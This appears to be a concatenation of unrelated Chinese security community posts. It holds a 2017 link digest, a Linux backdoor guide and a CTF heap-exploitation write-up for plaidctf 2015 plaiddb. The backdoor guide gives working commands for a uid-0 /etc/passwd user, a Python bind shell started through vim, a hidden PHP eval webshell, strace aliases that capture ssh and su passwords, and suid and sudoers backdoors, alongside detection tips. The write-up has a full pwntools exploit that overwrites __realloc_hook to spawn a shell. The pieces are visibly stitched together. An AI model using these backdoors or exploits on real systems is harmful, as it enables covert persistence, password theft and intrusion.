[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
关于Petya勒索病毒的一些信息
<https://otx.alienvault.com/pulse/5952674095270e2d0f055eaf/>
<https://gist.github.com/vulnersCom/65fe44d27d29d7a5de4c176baba45759>
<https://virustotal.com/en/file/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745/analysis/>
<https://blog.kryptoslogic.com/malware/2017/06/28/petya.html>
<https://securelist.com/schroedingers-petya/78870/>
<https://www.fireeye.com/blog/threat-research/2017/06/petya-ransomware-spreading-via-eternalblue-exploit.html>
如何将Metasploit的Payloads注入到Android应用中
<https://pentestlab.blog/2017/06/26/injecting-metasploit-payloads-into-android-applications-manually/>
windows-syscall-table：add c style support
<https://github.com/tinysec/windows-syscall-table>
Avast反病毒软件存在远程缓冲区溢出漏洞
<https://landave.io/2017/06/avast-antivirus-remote-stack-buffer-overflow-with-magic-numbers/>
发现系统中的Shadow Admins账户
<https://www.cyberark.com/threat-research-blog/shadow-admins-stealthy-accounts-fear/>
Pwn2Own2017专题：VMWARE UAF漏洞分析
<https://www.zerodayinitiative.com/blog/2017/6/26/use-after-silence-exploiting-a-quietly-patched-uaf-in-vmware>
FFmpeg任意文件读取漏洞分析
<http://bobao.360.cn/learning/detail/4032.html>
蓝牙App漏洞系列分析之三CVE-2017-0645
<https://xianzhi.aliyun.com/forum/read/1788.html>
MAMP中集成的sqlitemanager漏洞
<https://threathunter.org/topic/5952041a47796d2341e03e3b>
FFmpeg安全问题讨论
<http://blogs.360.cn/blog/ffmpegs_security_discussion/>
记一次对钓鱼邮件的实地反击
<http://www.4hou.com/web/5800.html>
java反编译软件JAD 1.5.8e 存在缓冲区溢出漏洞
<https://www.exploit-db.com/exploits/42255/>
恶意软件逃避杀软的方式
<https://www.exploit-db.com/docs/42250.pdf>
攻击容器集群管理平台
<http://paper.seebug.org/332/>
在渗透测试中的python项目
<https://vulnerablelife.wordpress.com/2017/05/13/python-for-penetration-testers/>
一种新的无文件代码注入的恶意软件
<https://vulnerablelife.wordpress.com/2017/06/18/new-fileless-ransomware-with-code-injection-ability-detected-in-the-wild/> | 社区文章 |
## TL；DR
* 最近遇到一些和后门相关的技术，所以把之前linux backdoor相关笔记重新学习和整理了一下。在这里做一下记录，后续有时间整理一下windows backdoor方面的技术。
* 在服务器被入侵后进行应急响应无非通过文件排查、网络排查、进程排查、系统信息排查等方法进行入侵排查。下面就一些常见留后门技巧以及公开的工具进行剖析介绍。
* 现在有一些公司在发现入侵之后直接重装系统，那么基本所有的后门就无法发挥权限维持的作用了，但作为一个安全从业人员还是需要对一些后门有一个基本的了解。
## 常见技巧
### 添加root权限后门用户
* /etc/passwd这个文件包含了系统所有的用户名、ID、登录的shell等信息,这个文件是以分号分隔开的，依次是登录名、密码、用户ID、组ID，用户名、用户的根目录以及登录的shell，其中密码处可以是x(代表加密，存放在/etc/shadow文件中)，也可以直接是加密后的密文，此外用户uid为0代表用户会是root的权限，这个时候我们的目标就是在这个文件中追加一条，一个带有密文且id为0的账号。
* 关于密码加密我们可以使用下面的命令
#密码M0rk
xxx@ubuntu:~/Desktop$ perl -e 'print crypt("M0rk", "AA"). "\n"'
AAhmo1jgYI0HE
* 所以我们最终想要在passwd文件中的条目是这个样子的
backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash
* append the backdoor to passwd file
echo "backdoor:AAhmo1jgYI0HE:0:0:me:/root:/bin/bash">>/etc/passwd
* 注意当我们拥有一个命令执行漏洞或写文件漏洞且为root权限，这个时候就可以通过这种方法直接添加用户。且sshd需要允许root用户远程登录，PermitRootLogin yes
* 另外需要注意的是修改完文件之后记得修改一下文件的时间戳，防止被发现，可以使用touch命令进行伪造[参考链接](https://stackoverflow.com/questions/40630695/linux-modify-file-modify-access-change-time)
* 优点：简单
* 缺点：易被检测到
* 排查：检查/etc/passwd文件是否有异常
### vim后门
#enter the mal script directory 、execute the script and then remove the script
cd /usr/lib/python2.7/site-packages && $(nohup vim -E -c "pyfile dir.py"> /dev/null 2>&1 &) && sleep 2 && rm -f dir.py
* 此方法适用于安装了vim且安装了python扩展(绝大版本默认安装)的linux系统,至于恶意脚本dir.py的内容可以是任何功能的后门。如python版本的正向后门监听11端口。
#from https://www.leavesongs.com/PYTHON/python-shell-backdoor.html
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',11))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)
* 优点：通过查看/proc/`pid`/cmdline查看不到具体执行了什么命令或恶意脚本。
* 缺点：仍可以看到有vim进程
* 排查：检测对应vim进程号虚拟目录的map文件是否有python字眼。
* 参考文章[Weapons of Text Destruction.](https://github.com/jaredestroud/WOTD/blob/master/%5BDARK%5D%20Weapons%20of%20%20Text%20Destruction.pdf)
### 终端解析\r导致的问题
echo -e "<?=\`eval(\$_POST[good]\`);?>\r<?='PHP Test Page >||< ';?>" >/var/www/html/test.php
* 优点：通过终端命令例如cat、more等命令查看不到恶意代码,适合隐藏一句话木马等。
* 缺点：易被检测，只是通过终端命令查看的时候看不到恶意代码，而通过其它读文件操作或者通过vim等工具进行编辑查看的时候仍可以查看到恶意代码。
* 排查：使用编辑器或者一般的webshell扫描工具即可检测。
### 命令过长导致截断的问题
* 在使用ps进行进程查看的时候，不知道有没有人注意到这样一个问题，命令很长被截断，终端显示有时候为了美观，可能会截断较长的命令，比如在使用docker ps -a查看container的时候，可能你的command列会显示不全，那么使用docker ps -a --no-trunc让其显示完全。同样在使用ps命令查看进程的时候，也存在这种问题。可以在其填充大量的空格进行截断，那么就可达到“进程隐藏”的效果。
* 其中使用了xhide工具[github地址](https://github.com/chenkaie/junkcode/blob/master/xhide.c)进行进程名的修改。
* 优点：简单
* 缺点：易被检测到
* 排查：通过ps -aux|grep 可疑进程的pid 即可显示完全，或者使用ps aux | less -+S、ps aux | cat或ps aux | most -w等命令进行查看。
这只是进程隐藏的一种方式，此外还有一些其他比较好的进程隐藏的方式，比如挂载覆盖型的进程隐藏，参考
[聊一聊Linux下进程隐藏的常见手法及侦测手段](https://www.anquanke.com/post/id/160843)
[反入侵之发现后门利用mount-bind将进程和端口信息隐匿](https://cloud.tencent.com/developer/article/1047347)
### strace记录ssh登录密码
alias ssh='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log \
-e read,write,connect -s2048 ssh'
也可记录 su密码 alias su='strace -o /tmp/sshpwd-`date '+%d%h%m%s'`.log \
-e read,write,connect -s2048 su'
* 优点：改动较小
* 缺点：易被检测到
* 排查：通过排查shell的配置文件或者alias命令即可发现，例如~/.bashrc和~/.bash_profile文件查看是否有恶意的alias问题。(注意bash_profile是在登录的shell执行的，bashrc是在非登录的shell执行,即如果你只是想每次在登录的时候让它去执行，这个时候你可以把你的命令写在.bash_profile,如果你想每次打开一个新的终端的时候都去执行，那么应该把命令写在.bashrc中)。
### 常见ssh后门
* 一种是建立sshd的软连接方法，开启其它的端口例如
ln -sf /usr/sbin/sshd /home/su
/home/su -oport=2222
* 优点：简单
* 缺点：易被检测到
* 排查：使用netstat -antlp查看可疑端口，然后ls -l 可执行文件即可。
* 第二种是通过在openssh源码中插入恶意代码重新编译并替换原有sshd文件。插入的恶意代码可以是将登录成功的用户密码发送到远程服务器或者记录到某个log文件中。
* 优点：隐蔽性较好
* 缺点：暂无
* 排查：这种sshd后门一般可能会有一定的特征，可以通过strings sshd |grep '[1-9]{1,3}.[1-9]{1,3}.'或者通过strace 查看是否有可疑的写文件操作。
* 还有第三种就是创建authorized_keys 实现免密码登录的后门，在本地生成公私钥对，然后将公钥写入服务器的authorized_keys文件中，客户端使用私钥进行登录。
* 优点：简单
* 缺点：暂无
* 排查：查看linux所有用户.ssh 目录下是否存在authroieze_keys文件以及文件中的内容
### 定时任务和开机启动项
* 一般的挖矿木马喜欢设置定时任务来进行驻留或进行分时段的挖矿。
* 排查：一般通过crontab -l命令即可检测到定时任务后门。不同的linux发行版可能查看开机启动项的文件不大相同，Debian系linux系统一般是通过查看/etc/init.d目录有无最近修改和异常的开机启动项。而Redhat系的linux系统一般是查看/etc/rc.d/init.d或者/etc/systemd/system等目录。
### 预加载型动态链接库后门 ld.so.preload
* 可能有些人不太了解，简单说一下，就是我们在linux下执行某个可执行文件之前，系统会预先加载用户定义的动态链接库的一种技术，这个技术可以重写系统的库函数，导致发生Hijack。
* 如上图所示，strace 命令id的时候可以发现有预先去读取/etc/ld.so.preload文件(也可使用设置LD_PRELAOD环境变量方式)，如果我们将事先写好的恶意so文件位置写入ld.so.preload文件，这个时候就会达到“劫持”的效果。
* 比较好用的工具有Vegile和cub3等
[Vegile](https://github.com/Screetsec/Vegile/blob/master/Vegile#L112)
[cub3](https://github.com/mempodippy/cub3),这个工具使用了LD_PRELOAD和系统的扩展属性去隐藏文件。
* 更多参考：
[Linux文件系统扩展属性](http://www.drupal001.com/2013/02/linux-extended-attributes/)
* 其中还有一种是通过修改动态链接器来加载恶意动态链接库的后门，通过替换或者修改动态链接器中的默认预加载配置文件/etc/ld.so.preload路径的rootkit，此方法更加隐蔽，这个方法的较成熟的利用工具是Vlany，github地址<https://github.com/mempodippy/vlany>
[警惕利用Linux预加载型恶意动态链接库的后门](https://www.freebuf.com/column/162604.html)
* 优点：可以隐藏文件、网络、进程等。相对于普通用户空间rootkit而言，隐藏性较好，相对于内核模块rootkit来说，兼容性更好，编写难道低
* 缺点：暂无
* 排查：通过strace命令去跟踪预加载的文件是否为/etc/ld.so.preload，以及文件中是否有异常的动态链接库。以及检查是否设置LD_PRELOAD环境变量等。注意：在进行应急响应的时候有可能系统命令被替换或者关键系统函数被劫持（例如通过预加载型动态链接库后门），导致系统命令执行不正常，这个时候可以下载busybox。下载编译好的对应平台版本的busybox，或者下载源码进行编译通过U盘拷贝到系统上，因为busybox是静态编译的，不依赖于系统的动态链接库，busybox的使用类似如下 busybox ls，busybox ps -a。
### 提权后门
* suid提权后门，有时候需要放置一个提权后门方便我们拿到一个低权限shell的时候提权，例如 cp /bin/bash /bin/nf & chmod +s /bin/nf ,之后通过低权限账号登录的时候就可以执行/bin/nf 来以root用户执行命令
* sudo 后门，同样是提权后门，在/etc/sudoers 文件中添加如下的内容 jenkins ALL=(ALL) NOPASSWD: ALL，使jenkins用户可以使用sudo执行任意命令
* 排查：suid后门可通过 find / -perm -4000 来查找suid程序，sudo后门可以检查 /etc/sudoers
### 进程注入
* 使用ptrace向进程中注入恶意so文件工具linux-inject，[github地址](https://github.com/gaffe23/linux-inject/)
### 内核级rootkit
* 内核级的rootkit也很多，这里简单推荐一个Diamorphine
[github地址](https://github.com/m0nad/Diamorphine)
* 优点：隐藏性较好
* 缺点：编写难度有点儿高
* 排查：可以通过unhide等工具进行排查
## Other
* 以上介绍了几种backdoor的技巧也只是冰山一角，这里抛砖引玉，希望有更多人分享自己的经验和奇淫技巧，笔者水平有限，文中定有不足之处，还望各位斧正。 Write your own backdoor and MAKE BACKDOOR GREAT AGAIN :D
## Reference
[linux rootkits](https://github.com/d30sa1/RootKits-List-Download)
<https://github.com/mfontanini/Programs-Scripts/>
[Reptile](https://github.com/f0rb1dd3n/Reptile)
[icmpsh](https://github.com/inquisb/icmpsh)
[Diamorphine](https://isec.ne.jp/wp-content/uploads/2017/11/74LKM-rootkits-1.pdf) | 社区文章 |
[堆入门系列教程1](https://xz.aliyun.com/t/6087)
序言：第二题，研究了两天，其中有小猪师傅，m4x师傅，萝卜师傅等各个师傅指点我，这次又踩了几个坑，相信以后不会再犯，第二题感觉比第一题复杂许多，不是off-by-one的问题，是这种攻击方式的问题，这种攻击方式十分精妙，chunk overlap，堆块重叠，这种攻击方式我也是第一次见，复现起来难度也是有滴
## off-by-one第二题
此题也是off-by-one里的一道题目，让我再次意识到off by one在堆里的强大之处
## plaidctf 2015 plaiddb
前面的功能分析和数据结构分析我就不再做了，ctf-wiki上给的清楚了，然后网上各种wp也给的清楚了，我没逆向过红黑树，也没写过，所以具体结构我也不清楚，照着师傅们的来，确实是树
数据结构
struct Node {
char *key;
long data_size;
char *data;
struct Node *left;
struct Node *right;
long dummy;
long dummy1;
}
这个函数存在off-by-one
char *sub_1040()
{
char *v0; // r12
char *v1; // rbx
size_t v2; // r14
char v3; // al
char v4; // bp
signed __int64 v5; // r13
char *v6; // rax
v0 = malloc(8uLL);
v1 = v0;
v2 = malloc_usable_size(v0);
while ( 1 )
{
v3 = _IO_getc(stdin);
v4 = v3;
if ( v3 == -1 )
sub_1020();
if ( v3 == 10 )
break;
v5 = v1 - v0;
if ( v2 <= v1 - v0 )
{
v6 = realloc(v0, 2 * v2);
v0 = v6;
if ( !v6 )
{
puts("FATAL: Out of memory");
exit(-1);
}
v1 = &v6[v5];
v2 = malloc_usable_size(v6);
}
*v1++ = v4;
}
*v1 = 0;//off-by-one
return v0;
}
然后师傅们利用堆块的重叠进行泄露地址，然后覆盖fd指针，然后fastbin attack，简单的说就是这样，先说明下整体攻击过程
1. 先删掉初始存在的堆块 th3fl4g，方便后续堆的布置及对齐
2. 创建堆块，为后续做准备在创建同key堆块的时候，会删去上一个同key堆块
3. 利用off-by-one覆盖下个chunk的pre_size，这里必须是0x18,0x38,0x78这种递增的，他realloc是按倍数递增的，如果我们用了0x18大小的key的话，会将下一个chunk的pre_size部分当数据块来用，在加上off-by-one覆盖掉size的insue位
4. 先free掉第一块，为后续大堆块做准备
5. 然后free第三块，这时候会向后合并堆块，根据pre_size合并成大堆块造成堆块重叠，这时候可以泄露地址了
6. 申请堆块填充空间至chunk2
7. chunk2上为main_arena，泄露libc地址
8. 现在堆块是重叠的，chunk3在我们free后的大堆块里，然后修改chunk3的fd指针指向realloc_hook
9. 不破坏现场(不容易)
10. malloc一次，在malloc一次，这里有个点要注意，需要错位伪造size，因为fastbin有个checksize，我们这里将前面的0x7f错位，后面偏移也要补上
11. 最后改掉后，在调用一次getshell
## exp
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from PwnContext.core import *
local = True
# Set up pwntools for the correct architecture
exe = './' + 'datastore'
elf = context.binary = ELF(exe)
#don't forget to change it
host = '127.0.0.1'
port = 10000
#don't forget to change it
ctx.binary = exe
libc = args.LIBC or 'libc.so.6'
ctx.debug_remote_libc = True
ctx.remote_libc = libc
if local:
#context.log_level = 'debug'
try:
p = ctx.start()
except Exception as e:
print(e.args)
print("It can't work,may be it can't load the remote libc!")
print("It will load the local process")
io = process(exe)
else:
io = remote(host,port)
#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: amd64-64-little
# RELRO: Full RELRO
# Stack: Canary found
# NX: NX enabled
# PIE: PIE enabled
# FORTIFY: Enabled
#!/usr/bin/env python
def GET(key):
p.sendline("GET")
p.recvline("PROMPT: Enter row key:")
p.sendline(key)
def PUT(key, size, data):
p.sendline("PUT")
p.recvline("PROMPT: Enter row key:")
p.sendline(key)
p.recvline("PROMPT: Enter data size:")
p.sendline(str(size))
p.recvline("PROMPT: Enter data:")
p.send(data)
def DUMP():
p.sendline("DUMP")
def DEL(key):
p.sendline("DEL")
p.recvline("PROMPT: Enter row key:")
p.sendline(key)
def exp():
libc = ELF('libc.so.6')
system_off = libc.symbols['system']
realloc_hook_off = libc.symbols['__realloc_hook']
DEL("th3fl4g")
PUT("1"*0x8, 0x80, 'A'*0x80)
PUT("2"*0x8, 0x18, 'B'*0x18)
PUT("3"*0x8, 0x60, 'C'*0x60)
PUT("3"*0x8, 0xf0, 'C'*0xf0)
PUT("4"*0x8+p64(0)+p64(0x200), 0x20, 'D'*0x20) # off by one
DEL("1"*0x8)
DEL("3"*0x8)
PUT("a", 0x88, p8(0)*0x88)
DUMP()
p.recvuntil("INFO: Dumping all rows.\n")
temp = p.recv(11)
heap_base = u64(p.recv(6).ljust(8, "\x00"))-0x3f0
libc_base = int(p.recvline()[3:-7])-0x3be7b8
log.info("heap_base: " + hex(heap_base))
log.info("libc_base: " + hex(libc_base))
realloc_hook_addr = libc_base + realloc_hook_off
log.info("reallo_hook: 0x%x" % realloc_hook_addr)
payload = p64(heap_base+0x70)
payload += p64(0x8)
payload += p64(heap_base+0x50)
payload += p64(0)*2
payload += p64(heap_base+0x250)
payload += p64(0)+p64(0x41)
payload += p64(heap_base+0x3e0)
payload += p64(0x88)
payload += p64(heap_base+0xb0)
payload += p64(0)*2
payload += p64(heap_base+0x250)
payload += p64(0)*5+p64(0x71)
payload += p64(realloc_hook_addr-0x8-0x3-0x8)
PUT("6"*0x8, 0xa8, payload)
payload = p64(0)*3+p64(0x41)
payload += p64(heap_base+0x290)
payload += p64(0x20)
payload += p64(heap_base+0x3b0)
payload += p64(0)*4+p64(0x21)
payload += p64(0)*3
PUT("c"*0x8, 0x78, payload)
payload = p64(0)+p64(0x41)
payload += p64(heap_base+0x90)
payload += p64(0x8)+p64(heap_base+0x230)
payload += p64(0)*2+p64(heap_base+0x250)
payload += p64(0x1)+p64(0)*3
PUT("d"*0x8, 0x60, payload)
gdb.attach(p)
system_addr = libc_base+system_off
print("system_addr: 0x%x" % system_addr)
payload = 'a'*0x3
payload += p64(system_addr)
payload += p8(0)*(0x4d+0x8)
PUT("e"*0x8, 0x60, payload)
payload = "/bin/sh"
payload += p8(0)*0x12
GET(payload)
if __name__ == '__main__':
exp()
p.interactive()
### 细节讲解
我只有exp部分是重点，其余创建堆块动作都是辅助的
#### 堆块重叠
[堆叠](http://4ngelboy.blogspot.com/2016/10/span-display-block-overflow-hidden_10.html)
这篇文章讲的很好，图配的也很好，看下这部分就大概知道堆块重叠了
而这道题中，这里就是构造堆块重叠部分
libc = ELF('libc.so.6')
system_off = libc.symbols['system']
realloc_hook_off = libc.symbols['__realloc_hook']
DEL("th3fl4g")
PUT("1"*0x8, 0x80, 'A'*0x80)
PUT("2"*0x8, 0x18, 'B'*0x18)
PUT("3"*0x8, 0x60, 'C'*0x60)
PUT("3"*0x8, 0xf0, 'C'*0xf0)
PUT("4"*0x8+p64(0)+p64(0x200), 0x20, 'D'*0x20) # off by one
DEL("1"*0x8)
DEL("3"*0x8)
#### 泄露地址
PUT("a", 0x88, p8(0)*0x88)
DUMP()
p.recvuntil("INFO: Dumping all rows.\n")
temp = p.recv(11)
heap_base = u64(p.recv(6).ljust(8, "\x00"))-0x3f0
libc_base = int(p.recvline()[3:-7])-0x3be7b8
log.info("heap_base: " + hex(heap_base))
log.info("libc_base: " + hex(libc_base))
realloc_hook_addr = libc_base + realloc_hook_off
log.info("reallo_hook: 0x%x" % realloc_hook_addr)
第一步put是为了将free掉的chunk移动到2处，这样才好泄露
gdb-peda$ x/50gx 0x562a3c9a8070-0x70
0x562a3c9a8000: 0x0000000000000000 0x0000000000000041
0x562a3c9a8010: 0x0000000000000000 0x0000000000000080
0x562a3c9a8020: 0x0000562a3c9a80b0 0x0000000000000000
0x562a3c9a8030: 0x0000000000000000 0x0000562a3c9a8140
0x562a3c9a8040: 0x0000000000000000 0x0000000000000021
0x562a3c9a8050: 0x4242424242424242 0x4242424242424242
0x562a3c9a8060: 0x4242424242424242 0x0000000000000021
0x562a3c9a8070: 0x3232323232323232 0x0000000000000000
0x562a3c9a8080: 0x0000000000000000 0x0000000000000021
0x562a3c9a8090: 0x0000000000000000 0x0000000000000000
0x562a3c9a80a0: 0x0000000000000000 0x0000000000000301 #free后合并的chunk
0x562a3c9a80b0: 0x00007f14e88247b8 0x00007f14e88247b8
0x562a3c9a80c0: 0x4141414141414141 0x4141414141414141
0x562a3c9a80d0: 0x4141414141414141 0x4141414141414141
0x562a3c9a80e0: 0x4141414141414141 0x4141414141414141
0x562a3c9a80f0: 0x4141414141414141 0x4141414141414141
0x562a3c9a8100: 0x4141414141414141 0x4141414141414141
0x562a3c9a8110: 0x4141414141414141 0x4141414141414141
0x562a3c9a8120: 0x4141414141414141 0x4141414141414141
0x562a3c9a8130: 0x0000000000000090 0x0000000000000040 #堆块2
0x562a3c9a8140: 0x0000562a3c9a8070 0x0000000000000018
0x562a3c9a8150: 0x0000562a3c9a8050 0x0000000000000000
0x562a3c9a8160: 0x0000000000000000 0x0000562a3c9a8250
0x562a3c9a8170: 0x0000000000000001 0x0000000000000041
0x562a3c9a8180: 0x0000562a3c9a8000 0x00000000000000f0
1. 为什么确定这里是堆块2，你可以看他的key指针，指向0x0000562a3c9a8070，这里正是0x32就是第二块
2. 如果我们要泄露的话，就是通过覆盖堆块的数据部分的大小，也就是0x18那个大小，覆盖成0x562a3c9a80b0处存的地址，我们要将这个内容往下偏移多少要计算下
3. 0x562a3c9a8140-0x562a3c9a80b0=0x90
4. 所以我们下一个malloc的大小就是0x80-0x90之间了,不能是0x90，否则会变成0x100的chunk
覆盖后结果如下，地址会变，因为我是两次调试，方便截图，实际偏移位置没变
gdb-peda$ x/50gx 0x55be33916070-0x70
0x55be33916000: 0x0000000000000000 0x0000000000000041
0x55be33916010: 0x0000000000000000 0x0000000000000080
0x55be33916020: 0x000055be339160b0 0x0000000000000000
0x55be33916030: 0x0000000000000000 0x000055be33916140
0x55be33916040: 0x0000000000000000 0x0000000000000021
0x55be33916050: 0x4242424242424242 0x4242424242424242
0x55be33916060: 0x4242424242424242 0x0000000000000021
0x55be33916070: 0x3232323232323232 0x0000000000000000
0x55be33916080: 0x0000000000000000 0x0000000000000021
0x55be33916090: 0x0000000000000000 0x0000000000000000
0x55be339160a0: 0x0000000000000000 0x0000000000000091
0x55be339160b0: 0x0000000000000000 0x0000000000000000
0x55be339160c0: 0x0000000000000000 0x0000000000000000
0x55be339160d0: 0x0000000000000000 0x0000000000000000
0x55be339160e0: 0x0000000000000000 0x0000000000000000
0x55be339160f0: 0x0000000000000000 0x0000000000000000
0x55be33916100: 0x0000000000000000 0x0000000000000000
0x55be33916110: 0x0000000000000000 0x0000000000000000
0x55be33916120: 0x0000000000000000 0x0000000000000000
0x55be33916130: 0x0000000000000000 0x0000000000000271
0x55be33916140: 0x00007fa9f416c7b8 0x00007fa9f416c7b8 #覆盖了原来的0x18
0x55be33916150: 0x000055be33916050 0x0000000000000000
0x55be33916160: 0x0000000000000000 0x000055be33916250
0x55be33916170: 0x0000000000000001 0x0000000000000041
0x55be33916180: 0x000055be339163e0 0x0000000000000088
#### 保护现场
这步是比较难的，因为堆块申请的位置不确定，需要一步步调试确定，我建议每部署一部分，调试一次状况，然后在进行现场的保护
payload = p64(heap_base+0x70)
payload += p64(0x8)
payload += p64(heap_base+0x50)
payload += p64(0)*2
payload += p64(heap_base+0x250)
payload += p64(0)+p64(0x41)
payload += p64(heap_base+0x3e0)
payload += p64(0x88)
payload += p64(heap_base+0xb0)
payload += p64(0)*2
payload += p64(heap_base+0x250)
payload += p64(0)*5+p64(0x71)
payload += p64(realloc_hook_addr-0x8-0x3-0x8)
PUT("6"*0x8, 0xa8, payload)
#1
payload = p64(0)*3+p64(0x41)
payload += p64(heap_base+0x290)
payload += p64(0x20)
payload += p64(heap_base+0x3b0)
payload += p64(0)*4+p64(0x21)
payload += p64(0)*3
PUT("c"*0x8, 0x78, payload)
#2
payload = p64(0)+p64(0x41)
payload += p64(heap_base+0x90)
payload += p64(0x8)+p64(heap_base+0x230)
payload += p64(0)*2+p64(heap_base+0x250)
payload += p64(0x1)+p64(0)*3
PUT("d"*0x8, 0x60, payload)
#3
具体我怎么调试示范下，先在1处gdb.attach(p)
gdb-peda$ x/100gx 0x559717162000
0x559717162000: 0x0000000000000000 0x0000000000000041 #结构体chunk
0x559717162010: 0x00005597171621c0 0x00000000000000a8
0x559717162020: 0x0000559717162140 0x0000000000000000
0x559717162030: 0x0000000000000000 0x0000559717162140
0x559717162040: 0x0000000000000001 0x0000000000000021
0x559717162050: 0x4242424242424242 0x4242424242424242
0x559717162060: 0x4242424242424242 0x0000000000000021
0x559717162070: 0x3232323232323232 0x0000000000000000
0x559717162080: 0x0000000000000000 0x0000000000000021
0x559717162090: 0x0000000000000000 0x0000000000000000
0x5597171620a0: 0x0000000000000000 0x0000000000000091
0x5597171620b0: 0x0000000000000000 0x0000000000000000
0x5597171620c0: 0x0000000000000000 0x0000000000000000
0x5597171620d0: 0x0000000000000000 0x0000000000000000
0x5597171620e0: 0x0000000000000000 0x0000000000000000
0x5597171620f0: 0x0000000000000000 0x0000000000000000
0x559717162100: 0x0000000000000000 0x0000000000000000
0x559717162110: 0x0000000000000000 0x0000000000000000
0x559717162120: 0x0000000000000000 0x0000000000000000
0x559717162130: 0x0000000000000000 0x00000000000000b1 #payload chunk
0x559717162140: 0x0000559717162070 0x0000000000000008
0x559717162150: 0x0000559717162050 0x0000559717162010
0x559717162160: 0x0000000000000000 0x0000559717162250
0x559717162170: 0x0000000000000000 0x0000000000000041
0x559717162180: 0x00005597171623e0 0x0000000000000088
0x559717162190: 0x00005597171620b0 0x0000000000000000
0x5597171621a0: 0x0000000000000000 0x0000559717162250
0x5597171621b0: 0x0000000000000000 0x0000000000000000
0x5597171621c0: 0x0000000000000000 0x0000000000000000
0x5597171621d0: 0x0000000000000000 0x0000000000000071
0x5597171621e0: 0x00007fc9194dc71d 0x00000000000001c1 #payload end
0x5597171621f0: 0x00007fc9194dc7b8 0x00007fc9194dc7b8
0x559717162200: 0x4343434343434343 0x4343434343434343
0x559717162210: 0x4343434343434343 0x4343434343434343
0x559717162220: 0x4343434343434343 0x4343434343434343
0x559717162230: 0x4343434343434343 0x4343434343434343
0x559717162240: 0x0000000000000000 0x0000000000000041
0x559717162250: 0x0000559717162290 0x0000000000000020
0x559717162260: 0x00005597171623b0 0x0000559717162140
0x559717162270: 0x0000559717162180 0x0000000000000000
0x559717162280: 0x0000000000000000 0x0000000000000021
0x559717162290: 0x3434343434343434 0x0000000000000000
0x5597171622a0: 0x0000000000000200 0x0000000000000100
0x5597171622b0: 0x4343434343434343 0x4343434343434343
0x5597171622c0: 0x4343434343434343 0x4343434343434343
0x5597171622d0: 0x4343434343434343 0x4343434343434343
0x5597171622e0: 0x4343434343434343 0x4343434343434343
0x5597171622f0: 0x4343434343434343 0x4343434343434343
0x559717162300: 0x4343434343434343 0x4343434343434343
0x559717162310: 0x4343434343434343 0x4343434343434343
既然知道他会覆盖那部分，我就提前查看这部分内容，进行覆盖就行了，然后将gdb.attach放到合并堆块那会，查看具体内容，也就是在这
gdb.attach(p)
PUT("a", 0x88, p8(0)*0x88)
DUMP()
查看具体内容，然后进行覆盖
1. 我上面所说的这是土方法，我测试出来的。
2. 其实这些都可以预估的，前面DEL(1) DEL(3),所以会空闲两个结构体，这是fastbin部分的空闲堆块，所以结构体会在原来的chunk上建立，至于申请的0xa8不属于fastbin里，所以他会从大堆块里取，取出能存放0xa8大小的chunk，第二次put的话先申请一个结构体0x40大小的结构体存放红黑树结构，然后在申请0x78大小的chunk，都是从大堆块里取，因为此时fastbin里没有空闲堆块了，第一块用于PUT("a", 0x88, p8(0) _0x88),第二块用于PUT("6"_ 0x8, 0xa8, payload)
3. PUT("d"*0x8, 0x60, payload)这里先申请一个堆块，同时保护现场，因为原来是fastbin中的一个chunk指向了realloc_hook，现在申请过后，在申请一个堆块便是realloc_hook的地址了
注意：还记得开头申请两个3吗，申请第二个3的时候会先删除前一个chunk，那个就是fastbin里0x70大小的chunk，所以我们覆盖的就是这个chunk的fd
#### 覆写realloc_hook
还记得我前面realloc_hook地址怎么写payload的吗
看
realloc_hook_addr-0x8-0x3-0x8
为什么要这么写呢？
先看看realloc_hook附近
gdb-peda$ x/5gx 0x7f14d2670730-0x10
0x7f14d2670720 <__memalign_hook>: 0x00007f14d2335c90 0x0000000000000000
0x7f14d2670730 <__realloc_hook>: 0x00007f14d2335c30 0x0000000000000000
0x7f14d2670740 <__malloc_hook>: 0x0000000000000000
你记得malloc_chunk是怎么样的吗？
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {
INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};
如果我们要申请个chunk的话，应当如何，不伪造chunk可不可以，我尝试过，失败了，
我报了这个错
**malloc(): memory corruption (fast)**
经师傅提点，去查看malloc源码
/*
If the size qualifies as a fastbin, first check corresponding bin.
This code is safe to execute even if av is not yet initialized, so we
can try it without checking, which saves some time on this fast path.
*/
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast())) {
// 得到对应的fastbin的下标
idx = fastbin_index(nb);
// 得到对应的fastbin的头指针
mfastbinptr *fb = &fastbin(av, idx);
mchunkptr pp = *fb;
// 利用fd遍历对应的bin内是否有空闲的chunk块，
do {
victim = pp;
if (victim == NULL) break;
} while ((pp = catomic_compare_and_exchange_val_acq(fb, victim->fd,
victim)) != victim);
// 存在可以利用的chunk
if (victim != 0) {
// 检查取到的 chunk 大小是否与相应的 fastbin 索引一致。
// 根据取得的 victim ，利用 chunksize 计算其大小。
// 利用fastbin_index 计算 chunk 的索引。
if (__builtin_expect(fastbin_index(chunksize(victim)) != idx, 0)) {
errstr = "malloc(): memory corruption (fast)";
errout:
malloc_printerr(check_action, errstr, chunk2mem(victim), av);
return NULL;
}
// 细致的检查。。只有在 DEBUG 的时候有用
check_remalloced_chunk(av, victim, nb);
// 将获取的到chunk转换为mem模式
void *p = chunk2mem(victim);
// 如果设置了perturb_type, 则将获取到的chunk初始化为 perturb_type ^ 0xff
